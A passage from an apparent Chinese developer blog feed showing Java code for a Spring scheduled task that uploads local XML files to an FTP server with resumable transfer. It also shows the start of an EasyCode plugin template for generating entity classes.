class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lyc.ftp.handle;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.thread.ThreadFactoryBuilder;</span><br><span class="line"><span class="keyword">import</span> com.lyc.ftp.utils.ContinueFtp;</span><br><span class="line"><span class="keyword">import</span> com.lyc.ftp.utils.FtpProperties;</span><br><span class="line"><span class="keyword">import</span> lombok.AllArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> org.springframework.scheduling.annotation.Scheduled;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.LinkedBlockingQueue;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.ThreadFactory;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.ThreadPoolExecutor;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.TimeUnit;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 功能: 定时传送站点xml文件至ftp服务器</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> chenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@version</span> 1.0</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2020/11/16 15:47</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="meta">@AllArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ReadFileHandle</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> FtpProperties ftpProperties;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Scheduled(cron = &quot;0 5 * * * ?&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">readFileAndSend</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">ContinueFtp</span> <span class="variable">myFtp</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ContinueFtp</span>();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 查询本地文件夹中所有文件</span></span><br><span class="line">            <span class="type">File</span> <span class="variable">file</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(ftpProperties.getPath());</span><br><span class="line">            File[] fileList = file.listFiles();</span><br><span class="line">            <span class="keyword">if</span> (fileList.length &gt; <span class="number">0</span>) &#123;</span><br><span class="line">                <span class="comment">// 使用 ThreadFactoryBuilder 创建自定义线程名称的 ThreadFactory</span></span><br><span class="line">                <span class="type">ThreadFactory</span> <span class="variable">namedThreadFactory</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ThreadFactoryBuilder</span>()</span><br><span class="line">                        .setNamePrefix(<span class="string">&quot;send-file-pool-%d&quot;</span>).build();</span><br><span class="line"></span><br><span class="line">                <span class="comment">// 创建线程池，其中任务队列需要结合实际情况设置合理的容量</span></span><br><span class="line">                <span class="type">ThreadPoolExecutor</span> <span class="variable">executor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>(<span class="number">1</span>,</span><br><span class="line">                        <span class="number">20</span>,</span><br><span class="line">                        <span class="number">0L</span>,</span><br><span class="line">                        TimeUnit.MILLISECONDS,</span><br><span class="line">                        <span class="keyword">new</span> <span class="title class_">LinkedBlockingQueue</span>&lt;&gt;(<span class="number">1024</span>),</span><br><span class="line">                        namedThreadFactory,</span><br><span class="line">                        <span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>.AbortPolicy());</span><br><span class="line"></span><br><span class="line">                <span class="keyword">for</span> (File f : fileList) &#123;</span><br><span class="line">                    executor.execute(() -&gt; &#123;</span><br><span class="line">                        <span class="keyword">try</span> &#123;</span><br><span class="line">                            myFtp.connect(ftpProperties.getUrl(), ftpProperties.getPort(), ftpProperties.getUsername(), ftpProperties.getPassword());</span><br><span class="line">                            myFtp.upload(f, f.getName());</span><br><span class="line">                            myFtp.disconnect();</span><br><span class="line">                            Thread.sleep(<span class="number">120000L</span>);</span><br><span class="line">                        &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">                            System.out.println(<span class="string">&quot;ftp连接出错&quot;</span> + e.getLocalizedMessage());</span><br><span class="line">                        &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">                            System.out.println(<span class="string">&quot;线程出错&quot;</span> + e.getLocalizedMessage());</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;);</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="comment">// 优雅关闭线程池</span></span><br><span class="line">                executor.shutdown();</span><br><span class="line">                executor.awaitTermination(<span class="number">120L</span>, TimeUnit.SECONDS);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (InterruptedException e1) &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;线程创建错误：&quot;</span> + e1.getMessage());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="ftp上传逻辑-ContinueFtp-计算上传百分比存在问题，有时间修改">ftp上传逻辑 ContinueFtp 计算上传百分比存在问题，有时间修改</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lyc.ftp.utils;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.net.PrintCommandListener;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.net.ftp.FTP;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.net.ftp.FTPClient;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.net.ftp.FTPFile;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.net.ftp.FTPReply;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 支持断点续传的FTP实用类</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> chenqi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@version</span> 0.3 实现中文目录创建及中文文件创建，添加对于中文的支持</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ContinueFtp</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">FTPClient</span> <span class="variable">ftpClient</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FTPClient</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">ContinueFtp</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">//设置将过程中使用到的命令输出到控制台</span></span><br><span class="line">        <span class="built_in">this</span>.ftpClient.addProtocolCommandListener(<span class="keyword">new</span> <span class="title class_">PrintCommandListener</span>(<span class="keyword">new</span> <span class="title class_">PrintWriter</span>(System.out)));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 连接到FTP服务器</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> hostname 主机名</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> port     端口</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> username 用户名</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> password 密码</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 是否连接成功</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> IOException</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">connect</span><span class="params">(String hostname, <span class="type">int</span> port, String username, String password)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        ftpClient.connect(hostname, port);</span><br><span class="line">        ftpClient.setControlEncoding(<span class="string">&quot;GBK&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (FTPReply.isPositiveCompletion(ftpClient.getReplyCode())) &#123;</span><br><span class="line">            <span class="keyword">if</span> (ftpClient.login(username, password)) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        disconnect();</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 上传文件到FTP服务器，支持断点续传</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> remote 远程文件路径，使用/home/directory1/subdirectory/file.ext 按照Linux上的路径指定方式，支持多级目录嵌套，支持递归创建不存在的目录结构</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 上传结果</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> IOException</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> UploadStatus <span class="title function_">upload</span><span class="params">(File f, String remote)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="comment">//设置PassiveMode传输</span></span><br><span class="line">        ftpClient.enterLocalPassiveMode();</span><br><span class="line">        <span class="comment">//设置以二进制流的方式传输</span></span><br><span class="line">        ftpClient.setFileType(FTP.BINARY_FILE_TYPE);</span><br><span class="line">        ftpClient.setControlEncoding(<span class="string">&quot;GBK&quot;</span>);</span><br><span class="line">        UploadStatus result;</span><br><span class="line">        <span class="comment">//对远程目录的处理</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">remoteFileName</span> <span class="operator">=</span> remote;</span><br><span class="line">        <span class="keyword">if</span> (remote.contains(<span class="string">&quot;/&quot;</span>)) &#123;</span><br><span class="line">            remoteFileName = remote.substring(remote.lastIndexOf(<span class="string">&quot;/&quot;</span>) + <span class="number">1</span>);</span><br><span class="line">            <span class="comment">//创建服务器远程目录结构，创建失败直接返回</span></span><br><span class="line">            <span class="keyword">if</span> (CreateDirecroty(remote, ftpClient) == UploadStatus.CREATE_DIRECTORY_FAIL) &#123;</span><br><span class="line">                <span class="keyword">return</span> UploadStatus.CREATE_DIRECTORY_FAIL;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//检查远程是否存在文件</span></span><br><span class="line">        FTPFile[] files = ftpClient.listFiles(<span class="keyword">new</span> <span class="title class_">String</span>(remoteFileName.getBytes(<span class="string">&quot;GBK&quot;</span>), <span class="string">&quot;iso-8859-1&quot;</span>));</span><br><span class="line">        <span class="keyword">if</span> (files.length == <span class="number">1</span>) &#123;</span><br><span class="line">            <span class="type">long</span> <span class="variable">remoteSize</span> <span class="operator">=</span> files[<span class="number">0</span>].getSize();</span><br><span class="line">            <span class="type">long</span> <span class="variable">localSize</span> <span class="operator">=</span> f.length();</span><br><span class="line">            <span class="keyword">if</span> (remoteSize == localSize) &#123;</span><br><span class="line">                <span class="comment">// 删除本地文件</span></span><br><span class="line">                f.delete();</span><br><span class="line">                <span class="keyword">return</span> UploadStatus.FILE_EXITS;</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (remoteSize &gt; localSize) &#123;</span><br><span class="line">                <span class="keyword">return</span> UploadStatus.REMOTE_BIGGER_LOCAL;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="comment">//尝试移动文件内读取指针,实现断点续传</span></span><br><span class="line">            result = uploadFile(remoteFileName, f, ftpClient, remoteSize);</span><br><span class="line"></span><br><span class="line">            <span class="comment">//如果断点续传没有成功，则删除服务器上文件，重新上传</span></span><br><span class="line">            <span class="keyword">if</span> (result == UploadStatus.UPLOAD_FROM_BREAK_FAILED) &#123;</span><br><span class="line">                <span class="keyword">if</span> (!ftpClient.deleteFile(remoteFileName)) &#123;</span><br><span class="line">                    <span class="keyword">return</span> UploadStatus.DELETE_REMOTE_FAILD;</span><br><span class="line">                &#125;</span><br><span class="line">                result = uploadFile(remoteFileName, f, ftpClient, <span class="number">0</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            result = uploadFile(remoteFileName, f, ftpClient, <span class="number">0</span>);</span><br><span class="line">            <span class="comment">// 删除本地文件</span></span><br><span class="line">            f.delete();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 断开与远程服务器的连接</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> IOException</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">disconnect</span><span class="params">()</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="keyword">if</span> (ftpClient.isConnected()) &#123;</span><br><span class="line">            ftpClient.disconnect();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 递归创建远程服务器目录</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> remote    远程服务器文件绝对路径</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> ftpClient FTPClient对象</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 目录创建是否成功</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> IOException</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> UploadStatus <span class="title function_">CreateDirecroty</span><span class="params">(String remote, FTPClient ftpClient)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">UploadStatus</span> <span class="variable">status</span> <span class="operator">=</span> UploadStatus.CREATE_DIRECTORY_SUCCESS;</span><br><span class="line">        <span class="type">String</span> <span class="variable">directory</span> <span class="operator">=</span> remote.substring(<span class="number">0</span>, remote.lastIndexOf(<span class="string">&quot;/&quot;</span>) + <span class="number">1</span>);</span><br><span class="line">        <span class="keyword">if</span> (!directory.equalsIgnoreCase(<span class="string">&quot;/&quot;</span>) &amp;&amp; !ftpClient.changeWorkingDirectory(<span class="keyword">new</span> <span class="title class_">String</span>(directory.getBytes(<span class="string">&quot;GBK&quot;</span>), <span class="string">&quot;iso-8859-1&quot;</span>))) &#123;</span><br><span class="line">            <span class="comment">//如果远程目录不存在，则递归创建远程服务器目录</span></span><br><span class="line">            <span class="type">int</span> <span class="variable">start</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">            <span class="type">int</span> <span class="variable">end</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">            <span class="keyword">if</span> (directory.startsWith(<span class="string">&quot;/&quot;</span>)) &#123;</span><br><span class="line">                start = <span class="number">1</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                start = <span class="number">0</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            end = directory.indexOf(<span class="string">&quot;/&quot;</span>, start);</span><br><span class="line">            <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">                <span class="type">String</span> <span class="variable">subDirectory</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">String</span>(remote.substring(start, end).getBytes(<span class="string">&quot;GBK&quot;</span>), <span class="string">&quot;iso-8859-1&quot;</span>);</span><br><span class="line">                <span class="keyword">if</span> (!ftpClient.changeWorkingDirectory(subDirectory)) &#123;</span><br><span class="line">                    <span class="keyword">if</span> (ftpClient.makeDirectory(subDirectory)) &#123;</span><br><span class="line">                        ftpClient.changeWorkingDirectory(subDirectory);</span><br><span class="line">                    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                        System.out.println(<span class="string">&quot;创建目录失败&quot;</span>);</span><br><span class="line">                        <span class="keyword">return</span> UploadStatus.CREATE_DIRECTORY_FAIL;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                start = end + <span class="number">1</span>;</span><br><span class="line">                end = directory.indexOf(<span class="string">&quot;/&quot;</span>, start);</span><br><span class="line"></span><br><span class="line">                <span class="comment">//检查所有目录是否创建完毕</span></span><br><span class="line">                <span class="keyword">if</span> (end &lt;= start) &#123;</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> status;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 上传文件到服务器,新上传和断点续传</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> remoteFile 远程文件名，在上传之前已经将服务器工作目录做了改变</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> localFile  本地文件File句柄，绝对路径</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> ftpClient  FTPClient引用</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> IOException</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> UploadStatus <span class="title function_">uploadFile</span><span class="params">(String remoteFile, File localFile, FTPClient ftpClient, <span class="type">long</span> remoteSize)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        UploadStatus status;</span><br><span class="line">        <span class="comment">//显示进度的上传</span></span><br><span class="line">        <span class="type">long</span> <span class="variable">step</span> <span class="operator">=</span> localFile.length();</span><br><span class="line">        <span class="type">long</span> <span class="variable">process</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">        <span class="type">long</span> <span class="variable">localreadbytes</span> <span class="operator">=</span> <span class="number">0L</span>;</span><br><span class="line">        <span class="type">RandomAccessFile</span> <span class="variable">raf</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RandomAccessFile</span>(localFile, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">        <span class="type">OutputStream</span> <span class="variable">out</span> <span class="operator">=</span> ftpClient.appendFileStream(<span class="keyword">new</span> <span class="title class_">String</span>(remoteFile.getBytes(<span class="string">&quot;GBK&quot;</span>), <span class="string">&quot;iso-8859-1&quot;</span>));</span><br><span class="line">        <span class="comment">//断点续传</span></span><br><span class="line">        <span class="keyword">if</span> (remoteSize &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            ftpClient.setRestartOffset(remoteSize);</span><br><span class="line">            process = remoteSize / step;</span><br><span class="line">            raf.seek(remoteSize);</span><br><span class="line">            localreadbytes = remoteSize;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">1024</span>];</span><br><span class="line">        <span class="type">int</span> c;</span><br><span class="line">        <span class="keyword">while</span> ((c = raf.read(bytes)) != -<span class="number">1</span>) &#123;</span><br><span class="line">            out.write(bytes, <span class="number">0</span>, c);</span><br><span class="line">            localreadbytes += c;</span><br><span class="line">            <span class="keyword">if</span> (localreadbytes / step != process) &#123;</span><br><span class="line">                process = localreadbytes / step;</span><br><span class="line">                System.out.println(<span class="string">&quot;上传进度:&quot;</span> + process);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        out.flush();</span><br><span class="line">        raf.close();</span><br><span class="line">        out.close();</span><br><span class="line">        <span class="type">boolean</span> <span class="variable">result</span> <span class="operator">=</span> ftpClient.completePendingCommand();</span><br><span class="line">        <span class="keyword">if</span> (remoteSize &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            status = result ? UploadStatus.UPLOAD_FROM_BREAK_SUCCESS : UploadStatus.UPLOAD_FROM_BREAK_FAILED;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            status = result ? UploadStatus.UPLOAD_NEW_FILE_SUCCESS : UploadStatus.UPLOAD_NEW_FILE_FAILED;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> status;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;配置ftp上传路径&quot;&gt;配置ftp上传路径&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://nas.allbs.cn:8888/cloudpic/202111021334852.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;读取的model-Ftp</summary>
      
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>idea插件easy code代码生成模版</title>
    <link href="https://blog.allbs.cn/posts/18111/"/>
    <id>https://blog.allbs.cn/posts/18111/</id>
    <published>2021-11-02T06:00:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<p><img src="https://nas.allbs.cn:8888/cloudpic/202111021334288.png" alt="image"><br><img src="https://nas.allbs.cn:8888/cloudpic/2022/09/6daefe947b57ae678903cf234ca3512f.png" alt="image-20220905132558698"></p><p>entity</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line">##导入宏定义</span><br><span class="line">$!define</span><br><span class="line"></span><br><span class="line">$!prefix</span><br><span class="line"></span><br><span class="line">##保存文件（宏定义）</span><br><span class="line">#save(<span class="string">&quot;/entity$&#123;prefixPathPipe&#125;&quot;</span>, <span class="string">&quot;Entity.java&quot;</span>)</span><br><span class="line"></span><br><span class="line">##包路径（宏定义）</span><br><span class="line">#setPackageSuffix(<span class="string">&quot;entity$&#123;prefixPathDot&#125;&quot;</span>)</span><br><span class="line"></span><br><span class="line">##拿到主键</span><br><span class="line">#<span class="keyword">if</span>(!$tableInfo.pkColumn.isEmpty())</span><br><span class="line">    #set($pk = $tableInfo.pkColumn.get(<span class="number">0</span>))</span><br><span class="line">#end</span><br><span class="line"></span><br><span class="line">##自动导入包（全局变量）</span><br><span class="line">$!autoImport</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.extension.activerecord.Model;</span><br><span class="line"><span class="keyword">import</span> io.swagger.annotations.ApiModel;</span><br><span class="line"><span class="keyword">import</span> io.swagger.annotations.ApiModelProperty;</span><br><span class="line"><span class="keyword">import</span> lombok.Data;</span><br><span class="line"><span class="keyword">import</span> lombok.EqualsAndHashCode;</span><br><span class="line"><span class="keyword">import</span> lombok.experimental.Accessors;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.annotation.*;</span><br><span class="line"></span><br><span class="line">##表注释（宏定义）</span><br><span class="line">#tableComment(<span class="string">&quot;表实体类&quot;</span>)</span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@ApiModel(value = &quot;#if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end&quot;)</span></span><br><span class="line"><span class="meta">@EqualsAndHashCode(callSuper = true)</span></span><br><span class="line"><span class="meta">@Accessors(chain = true)</span></span><br><span class="line"><span 